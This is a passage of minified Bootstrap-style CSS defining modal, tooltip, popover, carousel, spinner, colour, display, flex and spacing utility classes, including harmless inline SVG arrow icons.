auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;flex:1 1 auto;padding:1rem}.modal-footer{display:flex;flex-wrap:wrap;align-items:center;justify-content:flex-end;padding:.75rem;border-top:1px solid #dee2e6;border-bottom-right-radius:0;border-bottom-left-radius:0}.modal-footer>*{margin:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-scrollable{max-height:calc(100% - 3.5rem)}.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 3.5rem)}.modal-dialog-centered{min-height:calc(100% - 3.5rem)}.modal-dialog-centered::before{height:calc(100vh - 3.5rem);height:min-content}.modal-sm{max-width:300px}}@media (min-width:992px){.modal-lg,.modal-xl{max-width:800px}}@media (min-width:1200px){.modal-xl{max-width:1140px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:.9}.tooltip .arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[x-placement^=top],.bs-tooltip-top{padding:.4rem 0}.bs-tooltip-auto[x-placement^=top] .arrow,.bs-tooltip-top .arrow{bottom:0}.bs-tooltip-auto[x-placement^=top] .arrow::before,.bs-tooltip-top .arrow::before{top:0;border-width:.4rem .4rem 0;border-top-color:#000}.bs-tooltip-auto[x-placement^=right],.bs-tooltip-right{padding:0 .4rem}.bs-tooltip-auto[x-placement^=right] .arrow,.bs-tooltip-right .arrow{left:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=right] .arrow::before,.bs-tooltip-right .arrow::before{right:0;border-width:.4rem .4rem .4rem 0;border-right-color:#000}.bs-tooltip-auto[x-placement^=bottom],.bs-tooltip-bottom{padding:.4rem 0}.bs-tooltip-auto[x-placement^=bottom] .arrow,.bs-tooltip-bottom .arrow{top:0}.bs-tooltip-auto[x-placement^=bottom] .arrow::before,.bs-tooltip-bottom .arrow::before{bottom:0;border-width:0 .4rem .4rem;border-bottom-color:#000}.bs-tooltip-auto[x-placement^=left],.bs-tooltip-left{padding:0 .4rem}.bs-tooltip-auto[x-placement^=left] .arrow,.bs-tooltip-left .arrow{right:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=left] .arrow::before,.bs-tooltip-left .arrow::before{left:0;border-width:.4rem 0 .4rem .4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:.25rem .5rem;color:#fff;text-align:center;background-color:#000;border-radius:.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:.5rem;margin:0 .3rem}.popover .arrow::after,.popover .arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-auto[x-placement^=top],.bs-popover-top{margin-bottom:.5rem}.bs-popover-auto[x-placement^=top]>.arrow,.bs-popover-top>.arrow{bottom:calc(-.5rem - 1px)}.bs-popover-auto[x-placement^=top]>.arrow::before,.bs-popover-top>.arrow::before{bottom:0;border-width:.5rem .5rem 0;border-top-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=top]>.arrow::after,.bs-popover-top>.arrow::after{bottom:1px;border-width:.5rem .5rem 0;border-top-color:#fff}.bs-popover-auto[x-placement^=right],.bs-popover-right{margin-left:.5rem}.bs-popover-auto[x-placement^=right]>.arrow,.bs-popover-right>.arrow{left:calc(-.5rem - 1px);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=right]>.arrow::before,.bs-popover-right>.arrow::before{left:0;border-width:.5rem .5rem .5rem 0;border-right-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=right]>.arrow::after,.bs-popover-right>.arrow::after{left:1px;border-width:.5rem .5rem .5rem 0;border-right-color:#fff}.bs-popover-auto[x-placement^=bottom],.bs-popover-bottom{margin-top:.5rem}.bs-popover-auto[x-placement^=bottom]>.arrow,.bs-popover-bottom>.arrow{top:calc(-.5rem - 1px)}.bs-popover-auto[x-placement^=bottom]>.arrow::before,.bs-popover-bottom>.arrow::before{top:0;border-width:0 .5rem .5rem .5rem;border-bottom-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=bottom]>.arrow::after,.bs-popover-bottom>.arrow::after{top:1px;border-width:0 .5rem .5rem .5rem;border-bottom-color:#fff}.bs-popover-auto[x-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-.5rem;content:"";border-bottom:1px solid #f7f7f7}.bs-popover-auto[x-placement^=left],.bs-popover-left{margin-right:.5rem}.bs-popover-auto[x-placement^=left]>.arrow,.bs-popover-left>.arrow{right:calc(-.5rem - 1px);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=left]>.arrow::before,.bs-popover-left>.arrow::before{right:0;border-width:.5rem 0 .5rem .5rem;border-left-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=left]>.arrow::after,.bs-popover-left>.arrow::after{right:1px;border-width:.5rem 0 .5rem .5rem;border-left-color:#fff}.popover-header{padding:.5rem .75rem;margin-bottom:0;font-size:1rem;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:.5rem .75rem;color:#001d68}.carousel{position:relative}.carousel.pointer-event{touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner::after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;backface-visibility:hidden;transition:transform .6s ease-in-out}@media (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-right,.carousel-item-next:not(.carousel-item-left){transform:translateX(100%)}.active.carousel-item-left,.carousel-item-prev:not(.carousel-item-right){transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;transition-property:opacity;transform:none}.carousel-fade .carousel-item-next.carousel-item-left,.carousel-fade .carousel-item-prev.carousel-item-right,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{z-index:0;opacity:0;transition:opacity 0s .6s}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;z-index:1;display:flex;align-items:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:.5;transition:opacity .15s ease}@media (prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{transition:none}}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:20px;height:20px;background:no-repeat 50%/100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath d='M5.25 0l-4 4 4 4 1.5-1.5L4.25 4l2.5-2.5L5.25 0z'/%3e%3c/svg%3e")}.carousel-control-next-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath d='M2.75 0l-1.5 1.5L3.75 4l-2.5 2.5L2.75 8l4-4-4-4z'/%3e%3c/svg%3e")}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:15;display:flex;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{box-sizing:content-box;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border-top:10px solid transparent;border-bottom:10px solid transparent;opacity:.5;transition:opacity .6s ease}@media (prefers-reduced-motion:reduce){.carousel-indicators li{transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}@keyframes spinner-border{to{transform:rotate(360deg)}}.spinner-border{display:inline-block;width:2rem;height:2rem;vertical-align:text-bottom;border:.25em solid currentColor;border-right-color:transparent;border-radius:50%;animation:spinner-border .75s linear infinite}.spinner-border-sm{width:1rem;height:1rem;border-width:.2em}@keyframes spinner-grow{0%{transform:scale(0)}50%{opacity:1;transform:none}}.spinner-grow{display:inline-block;width:2rem;height:2rem;vertical-align:text-bottom;background-color:currentColor;border-radius:50%;opacity:0;animation:spinner-grow .75s linear infinite}.spinner-grow-sm{width:1rem;height:1rem}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.bg-primary{background-color:#001d68!important}a.bg-primary:focus,a.bg-primary:hover,button.bg-primary:focus,button.bg-primary:hover{background-color:#000f35!important}.bg-secondary{background-color:#001d68!important}a.bg-secondary:focus,a.bg-secondary:hover,button.bg-secondary:focus,button.bg-secondary:hover{background-color:#000f35!important}.bg-success{background-color:#393!important}a.bg-success:focus,a.bg-success:hover,button.bg-success:focus,button.bg-success:hover{background-color:#267326!important}.bg-info{background-color:#969696!important}a.bg-info:focus,a.bg-info:hover,button.bg-info:focus,button.bg-info:hover{background-color:#7d7d7d!important}.bg-warning{background-color:#ffc107!important}a.bg-warning:focus,a.bg-warning:hover,button.bg-warning:focus,button.bg-warning:hover{background-color:#d39e00!important}.bg-danger{background-color:#d21034!important}a.bg-danger:focus,a.bg-danger:hover,button.bg-danger:focus,button.bg-danger:hover{background-color:#a30c28!important}.bg-light{background-color:#f7f7f7!important}a.bg-light:focus,a.bg-light:hover,button.bg-light:focus,button.bg-light:hover{background-color:#dedede!important}.bg-dark{background-color:#343a40!important}a.bg-dark:focus,a.bg-dark:hover,button.bg-dark:focus,button.bg-dark:hover{background-color:#1d2124!important}.bg-white{background-color:#fff!important}.bg-transparent{background-color:transparent!important}.border{border:1px solid #dee2e6!important}.border-top{border-top:1px solid #dee2e6!important}.border-right{border-right:1px solid #dee2e6!important}.border-bottom{border-bottom:1px solid #dee2e6!important}.border-left{border-left:1px solid #dee2e6!important}.border-0{border:0!important}.border-top-0{border-top:0!important}.border-right-0{border-right:0!important}.border-bottom-0{border-bottom:0!important}.border-left-0{border-left:0!important}.border-primary{border-color:#001d68!important}.border-secondary{border-color:#001d68!important}.border-success{border-color:#393!important}.border-info{border-color:#969696!important}.border-warning{border-color:#ffc107!important}.border-danger{border-color:#d21034!important}.border-light{border-color:#f7f7f7!important}.border-dark{border-color:#343a40!important}.border-white{border-color:#fff!important}.rounded-sm{border-radius:.2rem!important}.rounded{border-radius:.25rem!important}.rounded-top{border-top-left-radius:.25rem!important;border-top-right-radius:.25rem!important}.rounded-right{border-top-right-radius:.25rem!important;border-bottom-right-radius:.25rem!important}.rounded-bottom{border-bottom-right-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-left{border-top-left-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-lg{border-radius:.3rem!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:50rem!important}.rounded-0{border-radius:0!important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:flex!important}.d-inline-flex{display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:flex!important}.d-sm-inline-flex{display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:flex!important}.d-md-inline-flex{display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:flex!important}.d-lg-inline-flex{display:inline-flex!important}}@media (min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:flex!important}.d-xl-inline-flex{display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:flex!important}.d-print-inline-flex{display:inline-flex!important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.85714%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{flex-direction:row!important}.flex-column{flex-direction:column!important}.flex-row-reverse{flex-direction:row-reverse!important}.flex-column-reverse{flex-direction:column-reverse!important}.flex-wrap{flex-wrap:wrap!important}.flex-nowrap{flex-wrap:nowrap!important}.flex-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-fill{flex:1 1 auto!important}.flex-grow-0{flex-grow:0!important}.flex-grow-1{flex-grow:1!important}.flex-shrink-0{flex-shrink:0!important}.flex-shrink-1{flex-shrink:1!important}.justify-content-start{justify-content:flex-start!important}.justify-content-end{justify-content:flex-end!important}.justify-content-center{justify-content:center!important}.justify-content-between{justify-content:space-between!important}.justify-content-around{justify-content:space-around!important}.align-items-start{align-items:flex-start!important}.align-items-end{align-items:flex-end!important}.align-items-center{align-items:center!important}.align-items-baseline{align-items:baseline!important}.align-items-stretch{align-items:stretch!important}.align-content-start{align-content:flex-start!important}.align-content-end{align-content:flex-end!important}.align-content-center{align-content:center!important}.align-content-between{align-content:space-between!important}.align-content-around{align-content:space-around!important}.align-content-stretch{align-content:stretch!important}.align-self-auto{align-self:auto!important}.align-self-start{align-self:flex-start!important}.align-self-end{align-self:flex-end!important}.align-self-center{align-self:center!important}.align-self-baseline{align-self:baseline!important}.align-self-stretch{align-self:stretch!important}@media (min-width:576px){.flex-sm-row{flex-direction:row!important}.flex-sm-column{flex-direction:column!important}.flex-sm-row-reverse{flex-direction:row-reverse!important}.flex-sm-column-reverse{flex-direction:column-reverse!important}.flex-sm-wrap{flex-wrap:wrap!important}.flex-sm-nowrap{flex-wrap:nowrap!important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-sm-fill{flex:1 1 auto!important}.flex-sm-grow-0{flex-grow:0!important}.flex-sm-grow-1{flex-grow:1!important}.flex-sm-shrink-0{flex-shrink:0!important}.flex-sm-shrink-1{flex-shrink:1!important}.justify-content-sm-start{justify-content:flex-start!important}.justify-content-sm-end{justify-content:flex-end!important}.justify-content-sm-center{justify-content:center!important}.justify-content-sm-between{justify-content:space-between!important}.justify-content-sm-around{justify-content:space-around!important}.align-items-sm-start{align-items:flex-start!important}.align-items-sm-end{align-items:flex-end!important}.align-items-sm-center{align-items:center!important}.align-items-sm-baseline{align-items:baseline!important}.align-items-sm-stretch{align-items:stretch!important}.align-content-sm-start{align-content:flex-start!important}.align-content-sm-end{align-content:flex-end!important}.align-content-sm-center{align-content:center!important}.align-content-sm-between{align-content:space-between!important}.align-content-sm-around{align-content:space-around!important}.align-content-sm-stretch{align-content:stretch!important}.align-self-sm-auto{align-self:auto!important}.align-self-sm-start{align-self:flex-start!important}.align-self-sm-end{align-self:flex-end!important}.align-self-sm-center{align-self:center!important}.align-self-sm-baseline{align-self:baseline!important}.align-self-sm-stretch{align-self:stretch!important}}@media (min-width:768px){.flex-md-row{flex-direction:row!important}.flex-md-column{flex-direction:column!important}.flex-md-row-reverse{flex-direction:row-reverse!important}.flex-md-column-reverse{flex-direction:column-reverse!important}.flex-md-wrap{flex-wrap:wrap!important}.flex-md-nowrap{flex-wrap:nowrap!important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-md-fill{flex:1 1 auto!important}.flex-md-grow-0{flex-grow:0!important}.flex-md-grow-1{flex-grow:1!important}.flex-md-shrink-0{flex-shrink:0!important}.flex-md-shrink-1{flex-shrink:1!important}.justify-content-md-start{justify-content:flex-start!important}.justify-content-md-end{justify-content:flex-end!important}.justify-content-md-center{justify-content:center!important}.justify-content-md-between{justify-content:space-between!important}.justify-content-md-around{justify-content:space-around!important}.align-items-md-start{align-items:flex-start!important}.align-items-md-end{align-items:flex-end!important}.align-items-md-center{align-items:center!important}.align-items-md-baseline{align-items:baseline!important}.align-items-md-stretch{align-items:stretch!important}.align-content-md-start{align-content:flex-start!important}.align-content-md-end{align-content:flex-end!important}.align-content-md-center{align-content:center!important}.align-content-md-between{align-content:space-between!important}.align-content-md-around{align-content:space-around!important}.align-content-md-stretch{align-content:stretch!important}.align-self-md-auto{align-self:auto!important}.align-self-md-start{align-self:flex-start!important}.align-self-md-end{align-self:flex-end!important}.align-self-md-center{align-self:center!important}.align-self-md-baseline{align-self:baseline!important}.align-self-md-stretch{align-self:stretch!important}}@media (min-width:992px){.flex-lg-row{flex-direction:row!important}.flex-lg-column{flex-direction:column!important}.flex-lg-row-reverse{flex-direction:row-reverse!important}.flex-lg-column-reverse{flex-direction:column-reverse!important}.flex-lg-wrap{flex-wrap:wrap!important}.flex-lg-nowrap{flex-wrap:nowrap!important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-lg-fill{flex:1 1 auto!important}.flex-lg-grow-0{flex-grow:0!important}.flex-lg-grow-1{flex-grow:1!important}.flex-lg-shrink-0{flex-shrink:0!important}.flex-lg-shrink-1{flex-shrink:1!important}.justify-content-lg-start{justify-content:flex-start!important}.justify-content-lg-end{justify-content:flex-end!important}.justify-content-lg-center{justify-content:center!important}.justify-content-lg-between{justify-content:space-between!important}.justify-content-lg-around{justify-content:space-around!important}.align-items-lg-start{align-items:flex-start!important}.align-items-lg-end{align-items:flex-end!important}.align-items-lg-center{align-items:center!important}.align-items-lg-baseline{align-items:baseline!important}.align-items-lg-stretch{align-items:stretch!important}.align-content-lg-start{align-content:flex-start!important}.align-content-lg-end{align-content:flex-end!important}.align-content-lg-center{align-content:center!important}.align-content-lg-between{align-content:space-between!important}.align-content-lg-around{align-content:space-around!important}.align-content-lg-stretch{align-content:stretch!important}.align-self-lg-auto{align-self:auto!important}.align-self-lg-start{align-self:flex-start!important}.align-self-lg-end{align-self:flex-end!important}.align-self-lg-center{align-self:center!important}.align-self-lg-baseline{align-self:baseline!important}.align-self-lg-stretch{align-self:stretch!important}}@media (min-width:1200px){.flex-xl-row{flex-direction:row!important}.flex-xl-column{flex-direction:column!important}.flex-xl-row-reverse{flex-direction:row-reverse!important}.flex-xl-column-reverse{flex-direction:column-reverse!important}.flex-xl-wrap{flex-wrap:wrap!important}.flex-xl-nowrap{flex-wrap:nowrap!important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse!important}.flex-xl-fill{flex:1 1 auto!important}.flex-xl-grow-0{flex-grow:0!important}.flex-xl-grow-1{flex-grow:1!important}.flex-xl-shrink-0{flex-shrink:0!important}.flex-xl-shrink-1{flex-shrink:1!important}.justify-content-xl-start{justify-content:flex-start!important}.justify-content-xl-end{justify-content:flex-end!important}.justify-content-xl-center{justify-content:center!important}.justify-content-xl-between{justify-content:space-between!important}.justify-content-xl-around{justify-content:space-around!important}.align-items-xl-start{align-items:flex-start!important}.align-items-xl-end{align-items:flex-end!important}.align-items-xl-center{align-items:center!important}.align-items-xl-baseline{align-items:baseline!important}.align-items-xl-stretch{align-items:stretch!important}.align-content-xl-start{align-content:flex-start!important}.align-content-xl-end{align-content:flex-end!important}.align-content-xl-center{align-content:center!important}.align-content-xl-between{align-content:space-between!important}.align-content-xl-around{align-content:space-around!important}.align-content-xl-stretch{align-content:stretch!important}.align-self-xl-auto{align-self:auto!important}.align-self-xl-start{align-self:flex-start!important}.align-self-xl-end{align-self:flex-end!important}.align-self-xl-center{align-self:center!important}.align-self-xl-baseline{align-self:baseline!important}.align-self-xl-stretch{align-self:stretch!important}}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}@media (min-width:576px){.float-sm-left{float:left!important}.float-sm-right{float:right!important}.float-sm-none{float:none!important}}@media (min-width:768px){.float-md-left{float:left!important}.float-md-right{float:right!important}.float-md-none{float:none!important}}@media (min-width:992px){.float-lg-left{float:left!important}.float-lg-right{float:right!important}.float-lg-none{float:none!important}}@media (min-width:1200px){.float-xl-left{float:left!important}.float-xl-right{float:right!important}.float-xl-none{float:none!important}}.user-select-all{user-select:all!important}.user-select-auto{user-select:auto!important}.user-select-none{user-select:none!important}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:sticky!important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports (position:sticky){.sticky-top{position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mw-100{max-width:100%!important}.mh-100{max-height:100%!important}.min-vw-100{min-width:100vw!important}.min-vh-100{min-height:100vh!important}.vw-100{width:100vw!important}.vh-100{height:100vh!important}.m-0{margin:0!important}.mt-0,.my-0{margin-top:0!important}.mr-0,.mx-0{margin-right:0!important}.mb-0,.my-0{margin-bottom:0!important}.ml-0,.mx-0{margin-left:0!important}.m-1{margin:.25rem!important}.mt-1,.my-1{margin-top:.25rem!important}.mr-1,.mx-1{margin-right:.25rem!important}.mb-1,.my-1{margin-bottom:.25rem!important}.ml-1,.mx-1{margin-left:.25rem!important}.m-2{margin:.5rem!important}.mt-2,.my-2{margin-top:.5rem!important}.mr-2,.mx-2{margin-right:.5rem!important}.mb-2,.my-2{margin-bottom:.5rem!important}.ml-2,.mx-2{margin-left:.5rem!important}.m-3{margin:1rem!important}.mt-3,.my-3{margin-top:1rem!important}.mr-3,.mx-3{margin-right:1rem!important}.mb-3,.my-3{margin-bottom:1rem!important}.ml-3,.mx-3{margin-left:1rem!important}.m-4{margin:1.5rem!important}.mt-4,.my-4{margin-top:1.5rem!important}.mr-4,.mx-4{margin-right:1.5rem!important}.mb-4,.my-4{margin-bottom:1.5rem!important}.ml-4,.mx-4{margin-left:1.5rem!important}.m-5{margin:3rem!important}.mt-5,.my-5{margin-top:3rem!important}.mr-5,.mx-5{margin-right:3rem!important}.mb-5,.my-5{margin-bottom:3rem!important}.ml-5,.mx-5{margin-left:3rem!important}.p-0{padding:0!important}.pt-0,.py-0{padding-top:0!important}.pr-0,.px-0{padding-right:0!important}.pb-0,.py-0{padding-bottom:0!important}.pl-0,.px-0{padding-left:0!important}.p-1{padding:.25rem!important}.pt-1,.py-1{padding-top:.25rem!important}.pr-1,.px-1{padding-right:.25rem!important}.pb-1,.py-1{padding-bottom:.25rem!important}.pl-1,.px-1{padding-left:.25rem!important}.p-2{padding:.5rem!important}.pt-2,.py-2{padding-top:.5rem!important}.pr-2,.px-2{padding-right:.5rem!important}.pb-2,.py-2{padding-bottom:.5rem!important}.pl-2,.px-2{padding-left:.5rem!important}.p-3{padding:1rem!important}.pt-3,.py-3{padding-top:1rem!important}.pr-3,.px-3{padding-right:1rem!important}.pb-3,.py-3{padding-bottom:1rem!important}.pl-3,.px-3{padding-left:1rem!important}.p-4{padding:1.5rem!important}.pt-4,.py-4{padding-top:1.5rem!important}.pr-4,.px-4{padding-right:1.5rem!important}.pb-4,.py-4{padding-bottom:1.5rem!important}.pl-4,.px-4{padding-left:1.5rem!important}.p-5{padding:3rem!important}.pt-5,.py-5{padding-top:3rem!important}.pr-5,.px-5{padding-right:3rem!important}.pb-5,.py-5{padding-bottom:3rem!important}.pl-5,.px-5{padding-left:3rem!important}.m-n1{margin:-.25rem!important}.mt-n1,.my-n1{margin-top:-.25rem!important}.mr-n1,.mx-n1{margin-right:-.25rem!important}.mb-n1,.my-n1{margin-bottom:-.25rem!important}.ml-n1,.mx-n1{margin-left:-.25rem!important}.m-n2{margin:-.5rem!important}.mt-n2,.my-n2{margin-top:-.5rem!important}.mr-n2,.mx-n2{margin-right:-.5rem!important}.mb-n2,.my-n2{margin-bottom:-.5rem!important}.ml-n2,.mx-n2{margin-left:-.5rem!important}.m-n3{margin:-1rem!important}.mt-n3,.my-n3{margin-top:-1rem!important}.mr-n3,.mx-n3{margin-right:-1rem!important}.mb-n3,.my-n3{margin-bottom:-1rem!important}.ml-n3,.mx-n3{margin-left:-1rem!important}.m-n4{margin:-1.5rem!important}.mt-n4,.my-n4{margin-top:-1.5rem!important}.mr-n4,.mx-n4{margin-right:-1.5rem!important}.mb-n4,.my-n4{margin-bottom:-1.5rem!important}.ml-n4,.mx-n4{margin-left:-1.5rem!important}.m-n5{margin:-3rem!important}.mt-n5,.my-n5{margin-top:-3rem!important}.mr-n5,.mx-n5{margin-right:-3rem!important}.mb-n5,.my-n5{margin-bottom:-3rem!important}.ml-n5,.mx-n5{margin-left:-3rem!important}.m-auto{margin:auto!important}.mt-auto,.my-auto{margin-top:auto!important}.mr-auto,.mx-auto{margin-right:auto!important}.mb-auto,.my-auto{margin-bottom:auto!important}.ml-auto,.mx-auto{margin-left:auto!important}@media (min-width:576px){.m-sm-0{margin:0!important}.mt-sm-0,.my-sm-0{margin-top:0!important}.mr-sm-0,.mx-sm-0{margin-right:0!important}.mb-sm-0,.my-sm-0{margin-bottom:0!important}.ml-sm-0,.mx-sm-0{margin-left:0!important}.m-sm-1{margin:.25rem!important}.mt-sm-1,.my-sm-1{margin-top:.25rem!important}.mr-sm-1,.mx-sm-1{margin-right:.25rem!important}.mb-sm-1,.my-sm-1{margin-bottom:.25rem!important}.ml-sm-1,.mx-sm-1{margin-left:.25rem!important}.m-sm-2{margin:.5rem!important}.mt-sm-2,.my-sm-2{margin-top:.5rem!important}.mr-sm-2,.mx-sm-2{margin-right:.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!important}.mb-sm-3,.my-sm-3{margin-bottom:1rem!important}.ml-sm-3,.mx-sm-3{margin-left:1rem!important}.m-sm-4{margin:1.5rem!important}.mt-sm-4,.my-sm-4{margin-top:1.5rem!important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem!important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem!important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem!important}.m-sm-5{margin:3rem!important}.mt-sm-5,.my-sm-5{margin-top:3rem!important}.mr-sm-5,.mx-sm-5{margin-right:3rem!important}.mb-sm-5,.my-sm-5{margin-bottom:3rem!important}.ml-sm-5,.mx-sm-5{margin-left:3rem!important}.p-sm-0{padding:0!important}.pt-sm-0,.py-sm-0{padding-top:0!im